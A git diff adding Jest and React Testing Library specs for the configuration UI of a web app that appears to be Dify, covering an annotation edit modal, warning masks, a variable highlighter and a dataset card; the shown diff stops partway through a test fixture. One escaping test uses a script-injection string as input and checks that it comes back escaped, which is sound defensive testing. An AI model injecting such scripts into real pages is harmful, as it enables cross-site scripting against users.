+    it('should show remove option when annotationId is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText('appAnnotation.editModal.removeThisCache')).toBeInTheDocument()
+    })
+
+    it('should save content when edited', async () => {
+      // Arrange
+      const mockOnAdded = jest.fn()
+      const props = {
+        ...defaultProps,
+        onAdded: mockOnAdded,
+      }
+      const user = userEvent.setup()
+
+      // Mock API response
+      mockAddAnnotation.mockResolvedValueOnce({
+        id: 'test-annotation-id',
+        account: { name: 'Test User' },
+      })
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Find and click edit link for query
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      // Find textarea and enter new content
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'New query content')
+
+      // Click save button
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      expect(mockAddAnnotation).toHaveBeenCalledWith('test-app-id', {
+        question: 'New query content',
+        answer: 'Test answer',
+        message_id: undefined,
+      })
+    })
+  })
+
+  // API Calls
+  describe('API Calls', () => {
+    it('should call addAnnotation when saving new annotation', async () => {
+      // Arrange
+      const mockOnAdded = jest.fn()
+      const props = {
+        ...defaultProps,
+        onAdded: mockOnAdded,
+      }
+      const user = userEvent.setup()
+
+      // Mock the API response
+      mockAddAnnotation.mockResolvedValueOnce({
+        id: 'test-annotation-id',
+        account: { name: 'Test User' },
+      })
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Edit query content
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Updated query')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      expect(mockAddAnnotation).toHaveBeenCalledWith('test-app-id', {
+        question: 'Updated query',
+        answer: 'Test answer',
+        message_id: undefined,
+      })
+    })
+
+    it('should call editAnnotation when updating existing annotation', async () => {
+      // Arrange
+      const mockOnEdited = jest.fn()
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        messageId: 'test-message-id',
+        onEdited: mockOnEdited,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Edit query content
+      const editLinks = screen.getAllByText(/common\.operation\.edit/i)
+      await user.click(editLinks[0])
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Modified query')
+
+      const saveButton = screen.getByRole('button', { name: 'common.operation.save' })
+      await user.click(saveButton)
+
+      // Assert
+      expect(mockEditAnnotation).toHaveBeenCalledWith(
+        'test-app-id',
+        'test-annotation-id',
+        {
+          message_id: 'test-message-id',
+          question: 'Modified query',
+          answer: 'Test answer',
+        },
+      )
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should initialize with closed confirm modal', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Confirm dialog should not be visible initially
+      expect(screen.queryByText('appDebug.feature.annotation.removeConfirm')).not.toBeInTheDocument()
+    })
+
+    it('should show confirm modal when remove is clicked', async () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+      await user.click(screen.getByText('appAnnotation.editModal.removeThisCache'))
+
+      // Assert - Confirmation dialog should appear
+      expect(screen.getByText('appDebug.feature.annotation.removeConfirm')).toBeInTheDocument()
+    })
+
+    it('should call onRemove when removal is confirmed', async () => {
+      // Arrange
+      const mockOnRemove = jest.fn()
+      const props = {
+        ...defaultProps,
+        annotationId: 'test-annotation-id',
+        onRemove: mockOnRemove,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Click remove
+      await user.click(screen.getByText('appAnnotation.editModal.removeThisCache'))
+
+      // Click confirm
+      const confirmButton = screen.getByRole('button', { name: 'common.operation.confirm' })
+      await user.click(confirmButton)
+
+      // Assert
+      expect(mockOnRemove).toHaveBeenCalled()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle empty query and answer', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        query: '',
+        answer: '',
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText('appAnnotation.editModal.title')).toBeInTheDocument()
+    })
+
+    it('should handle very long content', () => {
+      // Arrange
+      const longQuery = 'Q'.repeat(1000)
+      const longAnswer = 'A'.repeat(1000)
+      const props = {
+        ...defaultProps,
+        query: longQuery,
+        answer: longAnswer,
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText(longQuery)).toBeInTheDocument()
+      expect(screen.getByText(longAnswer)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in content', () => {
+      // Arrange
+      const specialQuery = 'Query with & < > " \' characters'
+      const specialAnswer = 'Answer with & < > " \' characters'
+      const props = {
+        ...defaultProps,
+        query: specialQuery,
+        answer: specialAnswer,
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert
+      expect(screen.getByText(specialQuery)).toBeInTheDocument()
+      expect(screen.getByText(specialAnswer)).toBeInTheDocument()
+    })
+
+    it('should handle onlyEditResponse prop', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        onlyEditResponse: true,
+      }
+
+      // Act
+      render(<EditAnnotationModal {...props} />)
+
+      // Assert - Query should be readonly, answer should be editable
+      const editLinks = screen.queryAllByText(/common\.operation\.edit/i)
+      expect(editLinks).toHaveLength(1) // Only answer should have edit button
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/base/group-name/index.spec.tsx b/web/app/components/app/configuration/base/group-name/index.spec.tsx
new file mode 100644
index 0000000000..ac504247f2
--- /dev/null
+++ b/web/app/components/app/configuration/base/group-name/index.spec.tsx
@@ -0,0 +1,21 @@
+import { render, screen } from '@testing-library/react'
+import GroupName from './index'
+
+describe('GroupName', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render name when provided', () => {
+      // Arrange
+      const title = 'Inputs'
+
+      // Act
+      render(<GroupName name={title} />)
+
+      // Assert
+      expect(screen.getByText(title)).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/base/operation-btn/index.spec.tsx b/web/app/components/app/configuration/base/operation-btn/index.spec.tsx
new file mode 100644
index 0000000000..615a1769e8
--- /dev/null
+++ b/web/app/components/app/configuration/base/operation-btn/index.spec.tsx
@@ -0,0 +1,70 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import OperationBtn from './index'
+
+jest.mock('@remixicon/react', () => ({
+  RiAddLine: (props: { className?: string }) => (
+    <svg data-testid='add-icon' className={props.className} />
+  ),
+  RiEditLine: (props: { className?: string }) => (
+    <svg data-testid='edit-icon' className={props.className} />
+  ),
+}))
+
+describe('OperationBtn', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering icons and translation labels
+  describe('Rendering', () => {
+    it('should render passed custom class when provided', () => {
+      // Arrange
+      const customClass = 'custom-class'
+
+      // Act
+      render(<OperationBtn type='add' className={customClass} />)
+
+      // Assert
+      expect(screen.getByText('common.operation.add').parentElement).toHaveClass(customClass)
+    })
+    it('should render add icon when type is add', () => {
+      // Arrange
+      const onClick = jest.fn()
+
+      // Act
+      render(<OperationBtn type='add' onClick={onClick} className='custom-class' />)
+
+      // Assert
+      expect(screen.getByTestId('add-icon')).toBeInTheDocument()
+      expect(screen.getByText('common.operation.add')).toBeInTheDocument()
+    })
+
+    it('should render edit icon when provided', () => {
+      // Arrange
+      const actionName = 'Rename'
+
+      // Act
+      render(<OperationBtn type='edit' actionName={actionName} />)
+
+      // Assert
+      expect(screen.getByTestId('edit-icon')).toBeInTheDocument()
+      expect(screen.queryByTestId('add-icon')).toBeNull()
+      expect(screen.getByText(actionName)).toBeInTheDocument()
+    })
+  })
+
+  // Click handling
+  describe('Interactions', () => {
+    it('should execute click handler when button is clicked', () => {
+      // Arrange
+      const onClick = jest.fn()
+      render(<OperationBtn type='add' onClick={onClick} />)
+
+      // Act
+      fireEvent.click(screen.getByText('common.operation.add'))
+
+      // Assert
+      expect(onClick).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/base/var-highlight/index.spec.tsx b/web/app/components/app/configuration/base/var-highlight/index.spec.tsx
new file mode 100644
index 0000000000..9e84aa09ac
--- /dev/null
+++ b/web/app/components/app/configuration/base/var-highlight/index.spec.tsx
@@ -0,0 +1,62 @@
+import { render, screen } from '@testing-library/react'
+import VarHighlight, { varHighlightHTML } from './index'
+
+describe('VarHighlight', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering highlighted variable tags
+  describe('Rendering', () => {
+    it('should render braces around the variable name with default styles', () => {
+      // Arrange
+      const props = { name: 'userInput' }
+
+      // Act
+      const { container } = render(<VarHighlight {...props} />)
+
+      // Assert
+      expect(screen.getByText('userInput')).toBeInTheDocument()
+      expect(screen.getAllByText('{{')[0]).toBeInTheDocument()
+      expect(screen.getAllByText('}}')[0]).toBeInTheDocument()
+      expect(container.firstChild).toHaveClass('item')
+    })
+
+    it('should apply custom class names when provided', () => {
+      // Arrange
+      const props = { name: 'custom', className: 'mt-2' }
+
+      // Act
+      const { container } = render(<VarHighlight {...props} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('mt-2')
+    })
+  })
+
+  // Escaping HTML via helper
+  describe('varHighlightHTML', () => {
+    it('should escape dangerous characters before returning HTML string', () => {
+      // Arrange
+      const props = { name: '<script>alert(\'xss\')</script>' }
+
+      // Act
+      const html = varHighlightHTML(props)
+
+      // Assert
+      expect(html).toContain('&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;')
+      expect(html).not.toContain('<script>')
+    })
+
+    it('should include custom class names in the wrapper element', () => {
+      // Arrange
+      const props = { name: 'data', className: 'text-primary' }
+
+      // Act
+      const html = varHighlightHTML(props)
+
+      // Assert
+      expect(html).toContain('class="item text-primary')
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx b/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx
new file mode 100644
index 0000000000..d625e9fb72
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/cannot-query-dataset.spec.tsx
@@ -0,0 +1,22 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import CannotQueryDataset from './cannot-query-dataset'
+
+describe('CannotQueryDataset WarningMask', () => {
+  test('should render dataset warning copy and action button', () => {
+    const onConfirm = jest.fn()
+    render(<CannotQueryDataset onConfirm={onConfirm} />)
+
+    expect(screen.getByText('appDebug.feature.dataSet.queryVariable.unableToQueryDataSet')).toBeInTheDocument()
+    expect(screen.getByText('appDebug.feature.dataSet.queryVariable.unableToQueryDataSetTip')).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'appDebug.feature.dataSet.queryVariable.ok' })).toBeInTheDocument()
+  })
+
+  test('should invoke onConfirm when OK button clicked', () => {
+    const onConfirm = jest.fn()
+    render(<CannotQueryDataset onConfirm={onConfirm} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'appDebug.feature.dataSet.queryVariable.ok' }))
+    expect(onConfirm).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx b/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx
new file mode 100644
index 0000000000..a968bde272
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/formatting-changed.spec.tsx
@@ -0,0 +1,39 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import FormattingChanged from './formatting-changed'
+
+describe('FormattingChanged WarningMask', () => {
+  test('should display translation text and both actions', () => {
+    const onConfirm = jest.fn()
+    const onCancel = jest.fn()
+
+    render(
+      <FormattingChanged
+        onConfirm={onConfirm}
+        onCancel={onCancel}
+      />,
+    )
+
+    expect(screen.getByText('appDebug.formattingChangedTitle')).toBeInTheDocument()
+    expect(screen.getByText('appDebug.formattingChangedText')).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'common.operation.cancel' })).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: /common\.operation\.refresh/ })).toBeInTheDocument()
+  })
+
+  test('should call callbacks when buttons are clicked', () => {
+    const onConfirm = jest.fn()
+    const onCancel = jest.fn()
+    render(
+      <FormattingChanged
+        onConfirm={onConfirm}
+        onCancel={onCancel}
+      />,
+    )
+
+    fireEvent.click(screen.getByRole('button', { name: /common\.operation\.refresh/ }))
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+    expect(onConfirm).toHaveBeenCalledTimes(1)
+    expect(onCancel).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx b/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx
new file mode 100644
index 0000000000..46608374da
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/has-not-set-api.spec.tsx
@@ -0,0 +1,26 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import HasNotSetAPI from './has-not-set-api'
+
+describe('HasNotSetAPI WarningMask', () => {
+  test('should show default title when trial not finished', () => {
+    render(<HasNotSetAPI isTrailFinished={false} onSetting={jest.fn()} />)
+
+    expect(screen.getByText('appDebug.notSetAPIKey.title')).toBeInTheDocument()
+    expect(screen.getByText('appDebug.notSetAPIKey.description')).toBeInTheDocument()
+  })
+
+  test('should show trail finished title when flag is true', () => {
+    render(<HasNotSetAPI isTrailFinished onSetting={jest.fn()} />)
+
+    expect(screen.getByText('appDebug.notSetAPIKey.trailFinished')).toBeInTheDocument()
+  })
+
+  test('should call onSetting when primary button clicked', () => {
+    const onSetting = jest.fn()
+    render(<HasNotSetAPI isTrailFinished={false} onSetting={onSetting} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'appDebug.notSetAPIKey.settingBtn' }))
+    expect(onSetting).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/web/app/components/app/configuration/base/warning-mask/index.spec.tsx b/web/app/components/app/configuration/base/warning-mask/index.spec.tsx
new file mode 100644
index 0000000000..6d533a423d
--- /dev/null
+++ b/web/app/components/app/configuration/base/warning-mask/index.spec.tsx
@@ -0,0 +1,25 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import WarningMask from './index'
+
+describe('WarningMask', () => {
+  // Rendering of title, description, and footer content
+  describe('Rendering', () => {
+    test('should display provided title, description, and footer node', () => {
+      const footer = <button type="button">Retry</button>
+      // Arrange
+      render(
+        <WarningMask
+          title="Access Restricted"
+          description="Only workspace owners may modify this section."
+          footer={footer}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('Access Restricted')).toBeInTheDocument()
+      expect(screen.getByText('Only workspace owners may modify this section.')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'Retry' })).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx b/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx
index 7ffafbb172..211b43c5ba 100644
--- a/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/confirm-add-var/index.spec.tsx
@@ -2,12 +2,6 @@ import React from 'react'
 import { fireEvent, render, screen } from '@testing-library/react'
 import ConfirmAddVar from './index'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('../../base/var-highlight', () => ({
   __esModule: true,
   default: ({ name }: { name: string }) => <span data-testid="var-highlight">{name}</span>,
diff --git a/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx b/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx
index 652f5409e8..2e75cd62ca 100644
--- a/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/conversation-history/edit-modal.spec.tsx
@@ -3,12 +3,6 @@ import { fireEvent, render, screen } from '@testing-library/react'
 import EditModal from './edit-modal'
 import type { ConversationHistoriesRole } from '@/models/debug'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('@/app/components/base/modal', () => ({
   __esModule: true,
   default: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
diff --git a/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx b/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx
index 61e361c057..c92bb48e4a 100644
--- a/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/conversation-history/history-panel.spec.tsx
@@ -2,12 +2,6 @@ import React from 'react'
 import { render, screen } from '@testing-library/react'
 import HistoryPanel from './history-panel'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 const mockDocLink = jest.fn(() => 'doc-link')
 jest.mock('@/context/i18n', () => ({
   useDocLink: () => mockDocLink,
diff --git a/web/app/components/app/configuration/config-prompt/index.spec.tsx b/web/app/components/app/configuration/config-prompt/index.spec.tsx
index b2098862da..37832cbdb3 100644
--- a/web/app/components/app/configuration/config-prompt/index.spec.tsx
+++ b/web/app/components/app/configuration/config-prompt/index.spec.tsx
@@ -6,12 +6,6 @@ import { MAX_PROMPT_MESSAGE_LENGTH } from '@/config'
 import { type PromptItem, PromptRole, type PromptVariable } from '@/models/debug'
 import { AppModeEnum, ModelModeType } from '@/types/app'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 type DebugConfiguration = {
   isAdvancedMode: boolean
   currentAdvancedPrompt: PromptItem | PromptItem[]
diff --git a/web/app/components/app/configuration/config-var/config-select/index.spec.tsx b/web/app/components/app/configuration/config-var/config-select/index.spec.tsx
index 18df318de3..eae3238532 100644
--- a/web/app/components/app/configuration/config-var/config-select/index.spec.tsx
+++ b/web/app/components/app/configuration/config-var/config-select/index.spec.tsx
@@ -5,12 +5,6 @@ jest.mock('react-sortablejs', () => ({
   ReactSortable: ({ children }: { children: React.ReactNode }) => <div>{children}</div>,
 }))
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('ConfigSelect Component', () => {
   const defaultProps = {
     options: ['Option 1', 'Option 2'],
diff --git a/web/app/components/app/configuration/config-var/config-string/index.spec.tsx b/web/app/components/app/configuration/config-var/config-string/index.spec.tsx
new file mode 100644
index 0000000000..e98a8dc53d
--- /dev/null
+++ b/web/app/components/app/configuration/config-var/config-string/index.spec.tsx
@@ -0,0 +1,121 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import ConfigString, { type IConfigStringProps } from './index'
+
+const renderConfigString = (props?: Partial<IConfigStringProps>) => {
+  const onChange = jest.fn()
+  const defaultProps: IConfigStringProps = {
+    value: 5,
+    maxLength: 10,
+    modelId: 'model-id',
+    onChange,
+  }
+
+  render(<ConfigString {...defaultProps} {...props} />)
+
+  return { onChange }
+}
+
+describe('ConfigString', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render numeric input with bounds', () => {
+      renderConfigString({ value: 3, maxLength: 8 })
+
+      const input = screen.getByRole('spinbutton')
+
+      expect(input).toHaveValue(3)
+      expect(input).toHaveAttribute('min', '1')
+      expect(input).toHaveAttribute('max', '8')
+    })
+
+    it('should render empty input when value is undefined', () => {
+      const { onChange } = renderConfigString({ value: undefined })
+
+      expect(screen.getByRole('spinbutton')).toHaveValue(null)
+      expect(onChange).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Effect behavior', () => {
+    it('should clamp initial value to maxLength when it exceeds limit', async () => {
+      const onChange = jest.fn()
+      render(
+        <ConfigString
+          value={15}
+          maxLength={10}
+          modelId="model-id"
+          onChange={onChange}
+        />,
+      )
+
+      await waitFor(() => {
+        expect(onChange).toHaveBeenCalledWith(10)
+      })
+      expect(onChange).toHaveBeenCalledTimes(1)
+    })
+
+    it('should clamp when updated prop value exceeds maxLength', async () => {
+      const onChange = jest.fn()
+      const { rerender } = render(
+        <ConfigString
+          value={4}
+          maxLength={6}
+          modelId="model-id"
+          onChange={onChange}
+        />,
+      )
+
+      rerender(
+        <ConfigString
+          value={9}
+          maxLength={6}
+          modelId="model-id"
+          onChange={onChange}
+        />,
+      )
+
+      await waitFor(() => {
+        expect(onChange).toHaveBeenCalledWith(6)
+      })
+      expect(onChange).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  describe('User interactions', () => {
+    it('should clamp entered value above maxLength', () => {
+      const { onChange } = renderConfigString({ maxLength: 7 })
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '12' } })
+
+      expect(onChange).toHaveBeenCalledWith(7)
+    })
+
+    it('should raise value below minimum to one', () => {
+      const { onChange } = renderConfigString()
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '0' } })
+
+      expect(onChange).toHaveBeenCalledWith(1)
+    })
+
+    it('should forward parsed value when within bounds', () => {
+      const { onChange } = renderConfigString({ maxLength: 9 })
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '7' } })
+
+      expect(onChange).toHaveBeenCalledWith(7)
+    })
+
+    it('should pass through NaN when input is cleared', () => {
+      const { onChange } = renderConfigString()
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '' } })
+
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange.mock.calls[0][0]).toBeNaN()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx b/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx
new file mode 100644
index 0000000000..469164e607
--- /dev/null
+++ b/web/app/components/app/configuration/config-var/select-type-item/index.spec.tsx
@@ -0,0 +1,45 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import SelectTypeItem from './index'
+import { InputVarType } from '@/app/components/workflow/types'
+
+describe('SelectTypeItem', () => {
+  // Rendering pathways based on type and selection state
+  describe('Rendering', () => {
+    test('should render ok', () => {
+      // Arrange
+      const { container } = render(
+        <SelectTypeItem
+          type={InputVarType.textInput}
+          selected={false}
+          onClick={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('appDebug.variableConfig.text-input')).toBeInTheDocument()
+      expect(container.querySelector('svg')).not.toBeNull()
+    })
+  })
+
+  // User interaction outcomes
+  describe('Interactions', () => {
+    test('should trigger onClick when item is pressed', () => {
+      const handleClick = jest.fn()
+      // Arrange
+      render(
+        <SelectTypeItem
+          type={InputVarType.paragraph}
+          selected={false}
+          onClick={handleClick}
+        />,
+      )
+
+      // Act
+      fireEvent.click(screen.getByText('appDebug.variableConfig.paragraph'))
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/ctrl-btn-group/index.spec.tsx b/web/app/components/app/configuration/ctrl-btn-group/index.spec.tsx
new file mode 100644
index 0000000000..11cf438974
--- /dev/null
+++ b/web/app/components/app/configuration/ctrl-btn-group/index.spec.tsx
@@ -0,0 +1,42 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import ContrlBtnGroup from './index'
+
+describe('ContrlBtnGroup', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering fixed action buttons
+  describe('Rendering', () => {
+    it('should render buttons when rendered', () => {
+      // Arrange
+      const onSave = jest.fn()
+      const onReset = jest.fn()
+
+      // Act
+      render(<ContrlBtnGroup onSave={onSave} onReset={onReset} />)
+
+      // Assert
+      expect(screen.getByTestId('apply-btn')).toBeInTheDocument()
+      expect(screen.getByTestId('reset-btn')).toBeInTheDocument()
+    })
+  })
+
+  // Handling click interactions
+  describe('Interactions', () => {
+    it('should invoke callbacks when buttons are clicked', () => {
+      // Arrange
+      const onSave = jest.fn()
+      const onReset = jest.fn()
+      render(<ContrlBtnGroup onSave={onSave} onReset={onReset} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('apply-btn'))
+      fireEvent.click(screen.getByTestId('reset-btn'))
+
+      // Assert
+      expect(onSave).toHaveBeenCalledTimes(1)
+      expect(onReset).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/ctrl-btn-group/index.tsx b/web/app/components/app/configuration/ctrl-btn-group/index.tsx
index e126e12164..69915acc7b 100644
--- a/web/app/components/app/configuration/ctrl-btn-group/index.tsx
+++ b/web/app/components/app/configuration/ctrl-btn-group/index.tsx
@@ -15,8 +15,8 @@ const ContrlBtnGroup: FC<IContrlBtnGroupProps> = ({ onSave, onReset }) => {
   return (
     <div className="fixed bottom-0 left-[224px] h-[64px] w-[519px]">
       <div className={`${s.ctrlBtn} flex h-full items-center gap-2  bg-white pl-4`}>
-        <Button variant='primary' onClick={onSave}>{t('appDebug.operation.applyConfig')}</Button>
-        <Button onClick={onReset}>{t('appDebug.operation.resetConfig')}</Button>
+        <Button variant='primary' onClick={onSave} data-testid="apply-btn">{t('appDebug.operation.applyConfig')}</Button>
+        <Button onClick={onReset} data-testid="reset-btn">{t('appDebug.operation.resetConfig')}</Button>
       </div>
     </div>
   )
diff --git a/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx b/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx
new file mode 100644
index 0000000000..4d92ae4080
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx
@@ -0,0 +1,242 @@
+import { fireEvent, render, screen, waitFor, within } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Item from './index'
+import type React from 'react'
+import type { DataSet } from '@/models/datasets'
+import { ChunkingMode, DataSourceType, DatasetPermission } from '@/models/datasets'
+import type { IndexingType } from '@/app/components/datasets/create/step-two'
+import type { RetrievalConfig } from '@/types/app'
+import { RETRIEVE_METHOD } from '@/types/app'
+import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
+
+jest.mock('../settings-modal', () => ({
+  __esModule: true,
+  default: ({ onSave, onCancel, currentDataset }: any) => (
+    <div>
+      <div>Mock settings modal</div>
+      <button onClick={() => onSave({ ...currentDataset, name: 'Updated dataset' })}>Save changes</button>
+      <button onClick={onCancel}>Close</button>
+    </div>
+  ),
+}))
+
+jest.mock('@/hooks/use-breakpoints', () => {
+  const actual = jest.requireActual('@/hooks/use-breakpoints')
+  return {
+    __esModule: true,
+    ...actual,
+    default: jest.fn(() => actual.MediaType.pc),
+  }
+})
+
+const mockedUseBreakpoints = useBreakpoints as jest.MockedFunction<typeof useBreakpoints>
+
+const baseRetrievalConfig: RetrievalConfig = {
+  search_method: RETRIEVE_METHOD.semantic,
+  reranking_enable: false,
+  reranking_model: {
+    reranking_provider_name: 'provider',
+    reranking_model_name: 'rerank-model',
+  },
+  top_k: 4,
+  score_threshold_enabled: false,
+  score_threshold: 0,
+}
+
+const defaultIndexingTechnique: IndexingType = 'high_quality' as IndexingType
+
+const createDataset = (overrides: Partial<DataSet> = {}): DataSet => {
+  const {
+    retrieval_model,
+    retrieval_model_dict,
+    icon_info,
+    ...restOverrides
+  } = overrides
+
+  const resolvedRetrievalModelDict = {
+    ...baseRetrievalConfig,
+    ...retrieval_model_dict,
+  }
+  const resolvedRetrievalModel = {
+    ...baseRetrievalConfig,
+    ...(retrieval_model ?? retrieval_model_dict),
+  }
+
+  const defaultIconInfo = {
+    icon: '📘',
+    icon_type: 'emoji',
+    icon_background: '#FFEAD5',
+    icon_url: '',
+  }
+
+  const resolvedIconInfo = ('icon_info' in overrides)
+    ? icon_info
+    : defaultIconInfo
+
+  return {
+    id: 'dataset-id',
+    name: 'Dataset Name',
+    indexing_status: 'completed',
+    icon_info: resolvedIconInfo as DataSet['icon_info'],
+    description: 'A test dataset',
+    permission: DatasetPermission.onlyMe,
+    data_source_type: DataSourceType.FILE,
+    indexing_technique: defaultIndexingTechnique,
+    author_name: 'author',
+    created_by: 'creator',
+    updated_by: 'updater',
+    updated_at: 0,
+    app_count: 0,
+    doc_form: ChunkingMode.text,
+    document_count: 0,
+    total_document_count: 0,
+    total_available_documents: 0,
+    word_count: 0,
+    provider: 'dify',
+    embedding_model: 'text-embedding',
+    embedding_model_provider: 'openai',
+    embedding_available: true,
+    retrieval_model_dict: resolvedRetrievalModelDict,
+    retrieval_model: resolvedRetrievalModel,
+    tags: [],
+    external_knowledge_info: {
+      external_knowledge_id: 'external-id',
+      external_knowledge_api_id: 'api-id',
+      external_knowledge_api_name: 'api-name',
+      external_knowledge_api_endpoint: 'https://endpoint',
+    },
+    external_retrieval_model: {
+      top_k: 2,
+      score_threshold: 0.5,
+      score_threshold_enabled: true,
+    },
+    built_in_field_enabled: true,
+    doc_metadata: [],
+    keyword_number: 3,
+    pipeline_id: 'pipeline-id',
+    is_published: true,
+    runtime_mode: 'general',
+    enable_api: true,
+    is_multimodal: false,
+    ...restOverrides,
+  }
